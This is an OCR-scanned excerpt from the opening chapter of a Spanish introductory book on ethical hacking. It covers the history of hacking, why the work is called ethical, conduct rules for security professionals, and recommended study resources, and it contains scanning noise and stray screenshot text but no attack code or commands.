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Prélogo

Siempre en las noticias escucharemos terribles cosas sobre virus y ataques llevados
a cabo por los hackers.

Los medios sensacionalistas se han encargado en darle un mal significado a la
palabra hacker, un significado que equipara a los hackers con criminales.

Un hacker puede ser bueno o malo al igual que un abogado, un médico, un
profesor o el oficio que fuera.

El termino ethical hacking o hacking ético nace por tal motivo, era necesario
aclarar que no es un hacking malo sino bueno, ético, pero en definitiva es hacking.

Basandose en su experiencia y conocimiento del tema, Carlos nos brinda esta obra,
que ayudard a adentrarlos en el mundo del hacking ético presentando los
conceptos basicos mas importantes en forma clara y eficiente, asi como tambien,
los orientara en como profundizar mas sus conocimientos.

Si estas interesado en aprender sobre seguridad informatica y hacking ético, esta
obra sera entonces un excelente punto de partida en tu viaje a este apasionante
mundo.

Cesar Cerrudo.
Fundador y CEO de Argeniss.
WWW.argeniss.com

*El Sr. Cerrudo ha sido expositor en congresos de seguridad tales como:
Microsoft, Black Hat, Bellua, CanSecWest, EuSecWest, WebSec,
HITBSecConf, entre otros. Ha descubierto vulnerabilidades criticas en Windows
server 2008, Vista y otros productos de Microsoft, Oracle, Yahoo, IBM y en un
sin fin de aplicaciones.

Es el investigador en seguridad informatica local con mas proyeccién internacional
que ha habido en estos ultimos afos.

Miembro de WASC (Web Application Security Consortium).
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Introduccion

¢Por dénde comienzo? Esa es, quizas, la pregunta mas habitual que se hace todo
aquel interesado en ingresar al universo heterogéneo que contempla la seguridad de
los sistemas y sus activos. No es de extrafarse que esto sea asi si tenemos en cuenta
que hay demasiado material y que no hay una correcta plataforma o programa
actual de educacion formal sobre el tema.

Como si eso fuera poco, esto sucede en un momento de la historia en el que existe
un auge de organizaciones altamente informatizadas en el que no hay dos iguales y
en el que todas son bastante desorganizadas. Estas utilizan Internet como recurso
de comunicacion para hacer movimientos constantes de informacién institucional
pero apenas estan tomando conciencia de la seguridad de la informacion y del alto
valor que tiene ésta hoy en dfa.

En las paginas de este libro intentaré ser lo mas claro posible en los conceptos y en
el desarrollo, a través de palabras y definiciones sencillas. No s6lo para que sea
llevadera e interesante la lectura sino también para que desde un principiante
estudiante de sistemas o ejecutivo interesado, hasta el técnico sin demasiada
experiencia, descubran y aprendan acerca de este tema desde el principio y en
forma ordenada. Por eso, cuando sea conveniente extender la explicacion o el
desarrollo de algin punto que no sea central, daré a conocer algin documento,
recurso online o sitio web para su consulta.

La tematica esta basada en la descripcion detallada de las técnicas basicas y usuales
de ethical hacking, mas precisamente de un Network Security Assessment externo
(comprobacion de seguridad en red cuyo contenido no esta alineado a ninguna
certificacion, metodologia o curso de ese estilo). También habra introducciones
teoricas sobre aspectos del ethical hacking, notas relacionadas a la formacion ideal
de un profesional de la seguridad, gestion de organizaciones formales y la
utilizaciéon de herramientas y metodologias, entre otras cosas. Ademas, se veran
conceptos propios acerca de los escenarios personales o la importancia de generar
errores en un chequeo, como también recomendaciones de muchos otros recursos
serios en cuanto a material de estudio.

En estas paginas que no se entrara en detalles sobre cémo explotar algunas
vulnerabilidades que existen hoy en dia porque éstas probablemente serin
solucionadas muy pronto, y de ese modo el libro o gran parte de ¢, se tornarfa
obsoleto. Esto se debe a que un grupo de profesionales tarda mucho menos en
programar la solucién o en redactar un excelente whitepaper (documento) sobre
ello que lo que tarda la imprenta en imprimir esta edicién. Como esto harfa que leer
este libro diera la misma sensacion que leer un periddico viejo, es preferible



concentrarse en donde ir a buscar esa informacion para obtenerla a diario y asi
hacer que la teoria que aqui se expone sea util en mayor porcentaje y por mas
tiempo. Esto sera aplicable a la mayoria de los casos de ethical hacking o de
seguridad informatica (y de la informacién) con los que nos podamos encontrar y
nos permitira estar informados de modo correcto a través de canales eficientes.
El fin de este libro es comunicar conocimiento significativo sobre la materia,
apuntando a aquellos que desean iniciarse o descubrir nuevos puntos de vista.
Espero que lo disfrute.

Catlos Tori.



1 > El
hacking
etico.

Referencias histdéricas de sucesos y de
evolucién en la materia. Cémo se comenzd
a implementar el hacking ético, por
quiénes y sus caracteristicas; en dénde
y de qué modo actlan o se forman estos
profesionales. También conoceremos
material sobre aspectos importantes de
las organizaciones y las definiciones

basicas de los componentes involucrados.



UN POCO DE HISTORIA

Si tu intencidn es describir la verdad, hazlo con sencillez y la elegan-
cia déjasela al sastre.
Albert Einstein.

Hace algtn tiempo, cuando algunas de las organizaciones apenas comenzaban a in-
crementar los procesos informatizados dentro de su sistema de informacion, sus
propios administradores y analistas técnicos eran los encargados de buscar claras
falencias o brechas de seguridad en el escenario para solucionarlas como podian.
En ese entonces, la mayoria no tenfa una nocién madura acerca de la seguridad de
la informacién o de las intrusiones de terceros no autorizados en sus sistemas. A
medida que paso el tiempo, estas organizaciones se multiplicaron de manera nota-
ble y se informatizaron aun mas, incluso tomando a Internet como plataforma de
sus movimientos de informacion. De ese modo, se hicieron fluidas las comunica-
ciones interpersonales, intersucursales, transacciones o flujo digital de todo tipo
y nivel de importancia, dejando, al mismo tiempo, muchos mas datos expuestos a
terceros, como nunca antes habia sucedido.

Hackers. Matthew Broderick y su compafiera de reparto en War Games (1983).
El pablico en general conoce asi a los hackers.

Como resultado de ello y debido a que grandes casos de intrusion se dieron a co-
nocer al publico en general a través de los medios de prensa (aunque muchos no
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salen a la luz para salvaguardar una ima-
gen institucional de organizacién confia-
ble), se hizo evidente la falta de algun ser-
vicio profesional que imitara esos ataques
o capacitara a su personal con las mismas
metodologias que utilizaba el intruso. De
esa manera, se podian evaluar las reales
condiciones de seguridad en las que se
encontraba una organizacién y, de existir
agujeros en el sistema o potenciales bre-
chas, descubritlos y solucionatlos de for-

ma preventiva.

Los accesos no autorizados, junto a una
gama de vulnerabilidades y todo tipo de
amenazas relacionadas o dirigidas hacia
la informacion, estaban a la orden del Chacal. Actualmente, Kevin Mitnick es un
dfa. Desde algunos afos antes, muchos empresario relacionado a la sequridad de la
especialistas ligados a la seguridad infor-  informacion y autor de dos interesantes libros.
matica venfan estudiando y practicando

metodologias de intrusion en sus trabajos, laboratorios o casas. Asi, comenzaron a
brindar a las organizaciones un servicio a modo de proveedores externos o contra-

tados y, para darle un nombre medianamente formal, lo llamaron ethical hacking.
Este concepto incluye las denominaciones vulnerability scanning y penetration
test, mejor denominado network security assessment.

Habia una clara demanda de seguridad y, donde existe demanda, aparece una ofer-
ta. Por lo tanto, alli mismo nace un mercado. Apenas mediaban los afios 90, ya aso-
maban las épocas de e-commerce, comenzaba la integracion de las pequefias y me-
dianas empresas de todo el mundo a la red (e-organizaciones), a la que poco a po-
co se sumaba el publico en general. Aparecia malware mas sofisticado, se publica-
ban novedosas técnicas de intrusién o explotacion de vulnerabilidades y no habia
demasiada conciencia sobre la administracion segura de los servidores.

Al mismo tiempo, jévenes de todo el mundo se colaban en Internet engafiando las

Malware

Con este nombre, se conoce todo aquello que se cataloga como cédigo malicioso (pro-
gramas). Generalmente, estas amenazas son detectadas por los antivirus, se trate de
gusanos o worms, spyware, troyanos, virus o scripts malintencionados (en rutina de
tiempo o de ejecucion).
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centrales telefonicas (por una cuestion de gastos) de sus paises para divertirse con
los sistemas informaticos e intercambiar conocimientos con sus pares del otro la-
do del globo. De ese grupo de gente, saldria lo que en esos dias serfan algunos de
los mejores profesionales de la seguridad, asi como también hdbiles intrusos.

Este fenémeno pudo ser posible gracias a la ausencia de una plataforma educativa
formal sobre el tema, ya que los recursos de aprendizaje eran, y a menudo son (hoy
mas que nunca), compartidos. En aquel entonces, sobre seguridad no habia educa-
ci6én formal mas alla de un postgrado en alguna universidad de EE.UU. o la que ofre-
ciera una institucion privada para sus empleados. En un ambito mas informal, recién
en el ano 1993, naci6 Bugtraq, una conocida lista de correo en la que se tratan temas
de seguridad. No fue todo de un dia para el otro, pero tuvo una marcada evolucion.

v c X | & hitp:jfwww.securityfocus.comf IC]'

ST

Symantec ThreatCon

Level 1: Normal

Home @ Bugtrag @ Vulnerabilities @ Mailing Lists = Jobs @ Tools = Vista © Search:
- G I YT coloists more
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Securityfocus. La mejor definicion de Bugtraq
(actualmente alojada en www.securityfocus.com)
se encuentra en Wikipedia, ya que incluye su historia completa.

Exploit

0 xploit, es un programa de prueba de concepto que puede estar en codigo fuente para
compilar (fuente.c] o formato binario tipo .exe. Sirve para aprovechar o demostrar una
vulnerabilidad en una aplicacidn y puede estar escrita en varios lenguajes de programa-
cion. En securityvulns.com/exploits, encontramos un repositorio de Proof of concept.
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1982 John Shoch (uno de los creadores de ethernet), junto a un colega, escribieron
el primer reporte sobre un gusano (worm), tomando ese nombre de una novela
de ciencia ficcion de 1975 en la que, bajo el nombre Tapeworms, describian a
programas autématas que viajaban por las redes transportando informacion.

1983 Ese ano se estrend la famosa pelicula War Games, en la que el actor Matthew
Broderick interpretaba a un chico que ingresaba en una base militar a través de
su computadora y casi desata una guerra nuclear.

1984 Se crearon la publicacién 2600, el CCC chaos computer club, Legion of doom y
la division de fraude con tarjetas y computadoras del Servicio Secreto.

1988  Robert Tappan Morris solté un gusano en Arpanet (como se llamaba Internet
antes) y de ese modo infecté miles de servidores Unix. Fue enjuiciado y conde
nado a cumplir 400 horas de trabajo social.

1992 Kevin Mitnick, luego de estar préfugo y ser atrapado por el FBI, fue sentenciado
por robo de software e intrusiones en organizaciones.

1994  Vladimir Levin robd, desde San Petersburgo, a través de los sistemas de Citi
bank, mas de 10 millones de délares por medio de transferencias a sus cuentas.
En los dos anos siguientes, desde otros bancos de los Estados Unidos, 300 mi
llones de ddlares se movilizaban electronicamente de modo fraudulento.

Sucesos. Algunos hechos importantes de la historia del hacking.

:.POR QUE ETICO?

Para emular la metodologia de ataque de un intruso informético y no setlo, tiene
que haber ética de por medio, mas alld de todas las condiciones, términos y activos
que haya alrededor del caso. Imaginemos que las autoridades de un banco contratan
a alguien para que simule un robo (no a mano armada, claro esta) y de ese modo se
pruebe la eficiencia de su sistema de seguridad. Este supuesto ladron profesional, lue-
go de lograr su cometido, informa a sus duefios en detalle como pudo hacetlo y c6-
mo ellos deberfan mejorar su sistema de seguridad para que no volviera a pasar. L.o-
gicamente, no se puede encargar de hacer esto una persona sin ética, alguien inmo-
ral. No entraremos en el terreno de lo ético como rama dentro de la filosofia prac-
tica ni redactaremos un tratado sobre deontologia profesional, no sélo por la cues-
tién de espacio, sino también por respeto a los griegos. Si, en cambio, diremos que
la ética implica que el trabajo y la intervencion del profesional en seguridad infor-
matica o de la informacién no comprometen de ningin modo los activos de la or-
ganizacion, que son los valiosos datos con los que ella cuenta.
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Estos dafios podrian ser hechos de varias maneras: alteracién, modificando a con-
ciencia registros o datos sensibles; borrado, destruyendo informacion, bases de da-
tos o sobrescribiendo algin tipo de dato; dar a conocer informacién a terceros,
incumpliendo las normas de confidencialidad; sustraccién, robando o guardando
datos en medios de almacenamiento externos. Todo esto, ya sea en la busqueda de
riesgos mediante un security assessment o comprobacion de seguridad, como también
en la divulgaciéon de lo que se vio, hablo, escuché o manipuld en el transcurso, en la
planificaciéon o en el desarrollo de la tarea misma y en su analisis final. Mas alld de la éti-
ca propia de cada profesional, existen conductas minimas que éste debe cumplir:

* Hacer su trabajo de la mejor manera posible.

¢ Dar el mejor reporte.

* Acordar un precio justo.

* Respetar el secreto.

* No hablar mal ni inculpar a un administrador o equipo de programadores.

* No aceptar sobornos.

* No manipular o alterar resultados o analisis.

* Delegar tareas especificas en alguien mas capacitado.

* No prometer algo imposible de cumplir.

e Ser responsable en su rol y funcion.

* Manejar los recursos de modo eficiente.

En nuestros tiempos, para la mayoria de la gente y de la prensa, la palabra hacking
esta ligada a delincuentes comunes, a personas de dudosa moralidad que utilizan co-
nocimientos de informatica o electronica para delinquir. Por tal motivo, en el trans-
curso de este libro, s6lo citaremos como personajes a dos figuras: al profesional éti-
co y a su opuesto, el intruso, para que no haya malentendidos de ningin tipo.

Reverse Code Engineering Video Portal

Your no. 1 resource on binary code analysis and auditing!

Pagina Principal = Mi galeria ~ Afiadir fichero © Salir [pepe%9]
Lista de albums © Ultimos archivos - Ultimos comentarios © Més vistos © Més valorados  Mis favoritos © Buscar

Crear / ordenar dlbumes Modificar mis lbumes Mi perfil Ordenar mis imdgenes

User galleries

28
This category contains albums that belong to Coppermine users.

Video Training Series 2
Tutorials 10
Case Studies 2

Conference Videos (Down Temporarily)

Inversa. Portal sobre ingenieria inversa: video.reverse-engineering.net
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Ejemplo de ethical hacking

Para comprender mejor el concepto de hacking ético, analicemos un caso. ¢Es éti-
co ingresar en una casilla de correo electronico ajena sin conocer su password? Ba-
jo las posibilidades que brinda el ethical hacking, por supuesto. Esa situaciéon pue-
de darse siempre y cuando la casilla de e-mail sea de alguien que nos haya autori-
zado, como profesional ético, a demostrarle que su organizacion es vulnerable. Co-
mo una casilla es personal (quizas de un gerente o de un administrador de siste-
mas), posiblemente ese ingreso nos lleve a obtener acceso a determinado lugar o a
datos sensibles. Estos, a su vez, seran utilizados para lograr entrar en un servidor y
de alli dirigirnos hacia la red interna, con todo el riesgo que significa para una or-
ganizacion formal altamente informatizada. De ese modo, descubriremos peque-
fios descuidos que, desde un lugar impensado, pueden exponer a la empresa por
completo. Sin embargo, esta vez, ese riesgo pasaria rapido a la historia, ya que es-
tamos hablando de un tipico caso de ethical hacking, en donde el problema es in-
tensamente buscado, descubierto, analizado, reportado y por ultimo solucionado a
la brevedad.

Para lograr algo asi, se requieren dos elementos basicos: en principio, metodologia
para proceder. Esto es el resultado de un grupo de piezas previamente ensambla-
das: habilidades personales de légica y creatividad, técnicas propias de un network
security assessment, reconocimiento o relevamiento de todos los componentes del
escenario y herramientas como un intérprete de comandos del tipo prompt o shell,
un web browser y un editor de texto, al menos para este caso.

Por otro lado, se requiere autorizacién, que es el elemento mas importante. Esta
autorizacion también tiene sus pattes: un contrato de confidencialidad, coordina-
cion, evaluacion, procesos por seguir y todas las caracteristicas internas (por ejem-
plo, el compromiso de la gerencia para con el proyecto es vital) o propias de las
pattes involucradas en este trabajo/desafio.

Para resumir, veamos el proceso de ethical hacking en pocas palabras:

1. La organizacion desea saber si sus sistemas son realmente seguros.

Lectura sobre ética

Es muy interesante el texto Etica empresarial, teoria y casos, del autor Rafael Gomez
Pérez. Y para conocer mas sobre el aspecto ético del hacking ligado a la seguridad de
la informacion, es recomendable el libro La ética del hacker y el espiritu de la era de
la informacion, del autor Pekka Himanen, con prélogo de Linus Torvalds.
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2. Selecciona y contrata un servicio profesional de ethical hacking.

3. Lo autoriza a realizar el trabajo mediante diversas pautas.

4. Planifican estratégicamente cémo se trealizard y el alcance que tendra.

5. El profesional, luego de llevar a cabo los analisis preliminares, realiza su tarea
imitando al atacante real, pero sin comprometer dato alguno.

6. Luego, analiza los resultados del security assessment.

7. Confecciona un reporte detallado para que la organizacion lo evalde.

8. Soluciona lo vulnerable o mitiga lo potencial para dejar el sistema mas seguro.
Se reafirma la defensa del sistema en general.

9. Se adoptan politicas de control y seguimiento (normativa).

Ethical hacking es una metodologia utilizada para simular un ata-
que malicioso sin causar daro.
E-council — CEH v5.0

Formacion del Profesional

Knowledge is power.
Sir Francis Bacon.

Una anécdota conocida (que data de la época de las BBS, Bulletin Board System, all
por los afios 90) describia como dos jovenes ingresaron en los sistemas de un labo-
ratorio espacial. Estos lo lograron luego de haber intentado muchas contrasefias en-
tre las cuales habia nombres de constelaciones, cometas y planetas. Finalmente, acer-
taron con un usuario de sistema que tenfa, como clave, el nombre de una lejana es-
trella. El profesional de seguridad, al llevar a cabo un network security assessment
como parte de su trabajo de ethical hacking, necesita contar con ese tipo de logica
y tiene que aplicarla, mas alla de utilizar las técnicas y herramientas (open source, co-
merciales o privadas), dado que necesita imitar un ataque de la mejor manera y con
el maximo nivel posible. Para eso, tendra que emplear todos los recursos de inteli-
gencia que tenga a su alcance, utilizar al extremo sus conocimientos, poder de de-
duccién y andlisis mediante ¢l razonamiento y asi determinar qué es lo mejor que
puede intentar, como, déonde y con qué. Por ejemplo, saber si un pequenio dato, por
mas chico o insignificante que parezca, le sera atil y como proseguir gracias a €l.
Continuamente debera enfrentarse a etapas que le demanden la mayorfa de estas ap-
titudes:

e Saber como definir patrones de conducta y accion.
* Hacer relevamientos pasivos de informacion.

* Interpretar y generar codigo, cifrado y entropias de datos.
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* Descubrir manualmente descuidos en el objetivo.
* Descubrir vulnerabilidades presentes de todo el escenario técnico.

* Buscar logica e ilogicamente.

* Proyectarse sobre la marcha en modo abstracto, tactica y estratégicamente.

* Ser exhaustivo, pero a la vez saber cuando es el momento de recurrir a la disten-

sion (para no agotar la mente).
¢ Ser ético por sobre todas las cosas.

Si estas condiciones personales y culturales del profesional no son las adecuadas
(por tener poco ingenio, poca cultura general o imaginacién que impida ejecutar-

las), éste no sera eficiente en su trabajo. No tendra el valor agregado de quien va

mas alla de las metodologias que se pueden interpretar siguiendo un simple chec-
klist 0 un determinado manual de procedimiento.
Una carencia en alguno de estos aspectos podria significar el no descubrir una bre-
cha potencial de seguridad apenas perceptible presente en el sistema o que, a futu-
ro, un atacante real mas inteligente y experimentado si lo haga.
Nadie dijo que esto era facil. Para hacer un chequeo de seguridad en un entorno,
no basta con sélo colocar a trabajar un scanner (buscador) de vulnerabilidades so-
bre una direccion IP y sentarnos a esperar su resultado.

[® Retina Network Security Scanner

: Fle Edit View Tools Help

: address: (192.168.0.1 Scan Template: Complete Scan @ start
Audit Tasks 4 |[Dicover || Audt || Remediste ||  Repot |
5 Start Scan =l Actions
\ Modify Address Groups Targets , Select Targets

: 3
“n Modify Port Groups ':‘]:8 { TavgetType. DUIDW Type:
[ ingle IP Fil
50 Modiy Audt Groups ’% (Single [v] e [v]
z ptions . Fil 3
4P Manage Credentials - - | Addess: eniame:
- 05 Fi [ Credentials - - |
=) Submit 0S Fingerprint — T
Schedule |
Other Places 2
=) Scan Jobs
& Discover {Aclive T
A3 Remediate [Completed ' |Job Name Status Start Time End Time Data Source
= 1 |Untitled Completed 27/03/2008 0:08:32 07/04/2008 5:18:08 C:\&rchivos d...
G Reports | Scheduled
@ Options
o
Help and Support A
_> Help Topics
=) Scanned 1Ps

@ eEye\Website

| © Technical Support ‘ ’

A 7 About Retina

5

Retina. Pantalla del buscador de vulnerabilidades Retina, de la empresa Eeye .

Un colega, de nombre Clement Dupuis, luego de discutir uno de los aspectos de la
educacion sobre seguridad en la lista Bugtraq, hizo el siguiente comentario: Nece-
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sitamos gente técnica, necesitamos gente que mire todo el escenario, nece-
sitamos gente con habilidades sociales, necesitamos gente sin habilidades
sociales, pero con mucha légica. Esto da una pequefia idea acerca de los perfiles
y caracteristicas que se necesitan tanto para la parte técnica como para la gestion, la
comunicacion y la resolucion de problemas logicos. Llegar a ser un profesional muy
bueno, que pueda manejarse comodamente en todos o en gran parte de los perfiles,
puede requerir varios afnos de estudio, practica y trabajo. Son tantas las variables y
componentes tecnolégicos involucrados (ademas de la necesidad de mantenerse
constantemente informados), que es imposible conocetlos, entenderlos y aplicarlos
de un modo eficiente de un dfa para otro.

Nivel de Aplicacion
Servicios de red a aplicaciones

Nivel de Presentacion
Representacion de los datos

Nivel de Sesion
Comunicacion entre
dispositivos de la red

Nivel de Trasporte
Conexion extremo-a-extremo
y fiabilidad de los datos

OSI. Es importante conocer protocolos
de comunicacion. En este caso, el modelo OSI.

Los componentes que aparecen a continuaciéon son una gran parte del aspecto téc-
nico que hay que conocer y estudiar, sin tener en cuenta todo aquello que compren-
de el manejo de politicas y normativas en el aspecto seguridad y organizacion (ges-
tién), sumado a las cuestiones de origen personal o la capacidad de llevar adelante
grupos y proyectos. Idiomas, sistemas operativos, hardware, malware, comandos,
networking y topologias, auditorias, lenguajes de programacion, cifrados, ani-
lisis de resultados, conectores, vulnerabilidades, herramientas, técnicas de intru-
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sién, IDS, databases, disefio logico, aplicaciones, relevamientos y protocolos de
comunicacion (familia TCP/IP entre otros).

El material es tan vasto que podria alienar a un ser humano si este no lo asimilara
con cautela, y por ello es muy importante no lidiar con material inuatil y tener bien
presentes las fuentes correctas de estudio o practica. Tratar de ver a la vez un po-
co de todo es una pérdida de tiempo, que es lo mas valioso que tenemos. Por ese
motivo, hay que darse cuenta y tratar de descubrir las aptitudes y habilidades
(skills) de cada uno, cultivarse de forma adecuada y practicar o trabajar en base a
ello.

La formacion puede orientarse a medida que el profesional o estudiante decida ha-
cia qué lado desea inclinarse en la materia, ya que no es lo mismo ser un desarro-
llador de exploits en C++ que redactar politicas de acceso fisico en recintos o con-
tigurar, de modo seguro, un servidor Linux.

Si bien no se puede ser un experto en todo, lo mas recomendable es que, luego de
dominar bien un perfil, se comience a estudiar los componentes de otro. Sumado
a eso, hay que mantenerse bien informado sobre las vulnerabilidades actuales, las
metodologias, los recursos de aseguramiento y las medidas de prevencion.

Santiago Cavanna, profesional de la seguridad de la informacién, me hizo el si-
guiente comentario: “a veces es conveniente tambien cultivar el trabajo
colaborativo entre varios especialistas, de esa manera, se cultiva la especialidad en
profundidad y luego se desarrolla un tipo de conocimiento que permite integrarse
en un equipo de trabajo.” tambien cit6 del libro “El arte de resolver Problemas”
(isbn:968-18-1294-8) “El que tiene que tomar una decision trata de elegir un curso
de accién que produzca el resultado deseado, uno de que sea eficaz respecto a lo
que el valora. Estos cursos de accién se conocen como efectivos. La efectividad es
producto de la eficiencia y el valor. El que busca el mejor y mas efectivo curso de
accion se dice que optimiza.

El que busca una solucién que sea suficientemente buena, se dice que satisface.”

Eficaz o eficiente
La diferencia entre ser eficaz y eficiente consiste en que el primero sélo cumple con

el objetivo, mientras que el segundo no sélo lo cumple, sino que lo hace generando el
menor gasto de recursos (ya sea tiempo, dinero, herramientas o personal involucrado).
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en inglés acerca de vulnerabilidades y técnicas muy interesantes.

RECURSOS PARA EL ESTUDIO

Los motivos por los que alguien puede llegar a dedicarse al ethical hacking son va-
riados, y algunos géneros pueden destacarse mas que otros. Por un lado, podemos
mencionar aquellos que la ven como una interesante rama de la informatica de
nuestros tiempos, 0 que necesitan conocerla porque su posicion en el trabajo asi se
los demanda. También existen quienes llegaron hasta aqui por su pasioén temprana
o mas reciente, hacia los sistemas como hobbie. Tampoco faltan quienes vieron al-
guna pelicula y se fascinaron con los personajes del tipo hacker llamados Zero
Cool o Acid Burn. Por ultimo, existen aquellos que desean generar y obtener ga-

Cursos de inglés

Si queremos aprender inglés de forma no presencial u obtener certificaciones interna-
cionales, podemos visitar sitios como RosettaStone (www.rosettastone.com), Pimsleur
(www.pimsleurapproach.com], University of Cambridge (www.cambridgeesol.org),
IELTS (www. ielts.org), EuroTalk (www.eurotalk.co.uk) y Bulats (www.bulats.org).
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nancias comercializando productos o servicios relacionados con la materia.
Loégicamente, no todos los que ingresan en el tema lo transitan con la misma forma-
cién, ya sea académica, formal o autodidacta, salvo en la etapa basica de educacion.
Quiza sea éste el unico punto en el que pueden alcanzar cierto grado de similitud o
equilibrio en la preparacion. En cuanto al resto de las etapas, esa preparacion es de-
masiado difusa por el problema de modelo educacional. Por tal motivo, la formacion
sobre el tema esta mas ligada al aspecto autodidacta y de expetiencia que a un mode-
lo de carrera focalizado y especialmente disefiado. Los recursos de formacion reco-
mendados que veremos en este capitulo estan divididos en cuatro etapas fundamen-
tales:

* Formacién basica.

* Educacion autodidacta.

* Educacion formal.

* Trabajo & practica: experiencia.

Formacion basica

Es muy probable que la mayoria de los lectores de este libro hayan pasado por esta
etapa junto a educadores, padres o tutores. Esta etapa inicial es la base de una tem-
prana educacion. Por mas absurdo que parezca, este tipo de formacion intelectual ba-
sica tiene clara incidencia en el desempefio de un profesional de sistemas, mas alld de
la especialidad que éste elija cuando sea adulto. En esta etapa podemos mencionar:

* La familia y el colegio como primeros contactos con la informatica formal e in-
formal. Estimulos, ambiente, introduccién en las matematicas.

* El estudio de idiomas como el inglés, fundamental en informatica para la inter-
pretacion de manuales y la comunicacion en listas de correo.

* Aflos tempranos en los que se alienta a socializar, jugar en equipos, participar de
actos y hacer amistades.

* Jugar al ajedrez como desarrollo de la logica estratégica y tictica.

* Juegos de ingenio como estimulo de capacidades analiticas y resolucion de proble-

Juegos de ingenio

Internet es una fuente inagotable de recursos. Si queremos mejorar nuestra capacidad
e ingenio mediante juegos, podemos ingresar en sitios como www.mlevitus.com, www-
.juegosdeingenio.org, www.pumbo.com/index.php?g=2 y www.mensa.es/juegosmen-
sa/juegos.html.
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mas.

* Incentivo del habito de la lectura, que dara cierta facilidad para redactar y comu-
nicarse mejor con diferentes tipos de personas, y ayudara al desarrollo de la crea-
tividad y de la imaginacién.

* Por ultimo, algo muy importante: conocer lo moralmente correcto.

B ~ G X (B hepijw.sjsdrez21 comf w | (G

- - A (=) (T
: Wy b by b Y i ) N N N
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1 en ajedrez by Google™
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Ml i Eres VIP? Quizas no, pero tan sélo por rellenar nuestra encuesta te regalamos el
acceso VIP durante un mes completo. Entre otros muchos contenidos, podras acceder
gratis a selectos articulos y partidas de la Revista Pedn de Rey, incluyendo, dentro de ® Recordar nick o clave
un par de semanas, a las del nuevo ejemplar de Mayo. Y si ya eres VIP te prorrogamos = Clases a 1 euro

el acceso y te ofrecemos otros premios adicionales. m Packs de Aperturas

| = Acceso Zona VIP

iTan sélo por responder a las preg de la sin mas req A
= Como ser socio VIP

4 Ir a la Encuesta de Ajedrez21.
Oferta Suscripcion PdR

Encuesta
Ajedrez21

yGrahs, el nuevo DVD
Peon de Rey 2008!

FERTAS vigentes de Suscripcion a Peon de Rey Antes Ahora
;{’ Suscripcidn PdR Espafia + Regalo ICC 3 meses 52.00-6uto0s 42,00 euros
;{' Suscripcidn PdR Espafia + DVD multimedia 2008 60,00-0utros 42,00 euros
;{' Suscripcidn PdR Espafia + Regalo Libro Linares 60,00 suros 40,00 euros

Ajedrez. En el sitio www.ajedrez21.com,
encontramos recursos dedicados al aprendizaje del ajedrez.

Educacion autodidacta

Ser autodidacta significa estudiar por cuenta propia. Permite la eleccién propia y es
la que mas perfilara al futuro profesional de seguridad, ya que se comienza estudian-

Hola mundo

El jHola mundo! es conocido por ser lo primero que se intenta en cualquier lenguaje
de programacion. Esta practica consiste en imprimir esas dos palabras en la pantalla
cuando es ejecutado el pequeno programa que se desarrolla. Podemos encontrar mas
informacion y ejemplos en http://es.wikipedia.org/wiki/Hola_mundo.
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do por gusto, afinidad y libre eleccion del material. Para ser un buen profesional en
seguridad informatica o de la informacion, conviene aprender este tipo de cosas:

* Aprender a programar y analizar problemas légicamente.

* Administrar sistemas operativos diferentes y configurarlos.

* Aprender acerca de networking y protocolos de comunicacion.

* Conocer seguridad informatica y de la informacion, principalmente las técnicas
mas usuales de intrusion y los métodos de gestion.

¢Coémo se aprende a programar? Simplemente programando. Ya sea desde cero
(con el famoso jHola mundo!) o mirando cédigo fuente ajeno y tratando de inter-
pretar qué fue lo que intentd hacer el autor, pensar como podria haberlo hecho me-
jor y luego optimizarlo. Estas premisas son validas bajo cualquier idioma de pro-
gramacion, que no son mas que comandos, determinada sintaxis (forma de escri-
bitlo) y légica para la resolucién del problema. Aunque requiere dedicacién, pue-
de programar quien se lo proponga y haga el sacrificio. La diferencia en calidad la
dara el esfuerzo y la logica creativa de cada uno, que nos llevara a hacer lo mismo
en diez o en mil lineas de cédigo, o bien en diez o en mil horas de trabajo.
Programar o saber interpretar cédigo fuente serd de gran utilidad para muchas co-
sas relacionadas con la seguridad informatica. Nos ayudara a solucionar problemas
dentro de un sistema (con programacién bash, scripting y WSH en entornos Linux
o Windows), a construir, o modificar, pruebas de concepto de cualquier tipo y ar-
quitectura o lenguaje. También nos servira para realizar administraciéon avanzada
mediante scripts, hacer y modificar herramientas o aplicaciones y auditar codigo
propio o ajeno. Por otro lado, nos permitird migrar cédigo de un idioma a otro,
modificar open source (cédigo fuente de sistemas Linux por ejemplo), hacer inge-
nieria inversa de parches, malware o aplicaciones y depurar, entre otras cosas. Con
estos conocimientos, también podremos testear aplicaciones online o en red de for-
ma local, optimizar todo tipo de cédigo, automatizar secuencias de comandos, ha-
cer reportes, monitoreos, flujo de datos o accesos y proteger codigo mediante el em-
paquetamiento de binarios, por ejemplo. Como vemos, las posibilidades son mu-
chas.

Diagramacién sin PC

Si deseamos crear diagramas de forma manual, en las librerias podemos conseguir di-
versas plantillas para esto seglin la norma IRAM 36002. Al estilo de los stencils, estas
plantillas plasticas tienen diferentes utilidades y aplicaciones, como podemos ver en
www.plantec.com.ar/local-cgi/vercategoria.cgi?codigo=9.
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No es necesario aprender todos los lenguajes, ya que son decenas y podria llevar-
nos muchos afios sin que alcancemos a datles una real aplicacion. Es muy impor-
tante que un buen programador, una vez experimentado, programe de modo segu-
ro.

Una temprana y buena prictica, que hoy no se acostumbra a estudiar, es la diagra-
macidn légica, valida también para iniciarse en algunos lenguajes de programacion
(del tipo batch) ya que facilita el desatrollo de la légica secuencial.

Inicio )«
A

Debe estar
Entre 1y 100

Diagrama. En este diagrama hecho a mano, que se tienen
que mostrar en pantalla nimeros entre 1 y 100. Condicién falsa (F),
condicion verdadera (V). EL grafico de rombo equivale a un IF o decision.

Listas de correo

De la misma manera que en los foros, pero mediante correos electronicos, podemos ob-
tener ayuda en las listas de correo. Para encontrar estas, ingresamos en sitios como ww-
w.egrupos.net, http://groups.google.es, http://es.groups.yahoo.com o http://groups.blog-
digger.com y utilizamos palabras clave relacionadas con el tema.
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Para ayudarnos con nuestro aprendizaje, podemos recurrir a Internet, tanto a si-
tios como a foros y listas de correo. Por ejemplo, Psicofxp.com es la mayor co-
munidad online en espafiol y cuenta con excelentes foros dedicados a tecnologfa.
Tanto en programacién (www.psicofxp.com/forums/programacion.313) como
en otras areas I'T, este sitio cuenta con gente dispuesta a ayudarnos de manera de-
sinteresada. Recurrir a foros de programadores es una muy buena alternativa, en
especial cuando recién comenzamos a programar de modo autodidacta, ya que
podemos publicar nuestra consulta y esperar a que programadores mas experi-
mentados nos respondan o guien hasta la solucién.

ﬁ' e x (E[http:llwww‘psicofxp.ml i|GoogIe

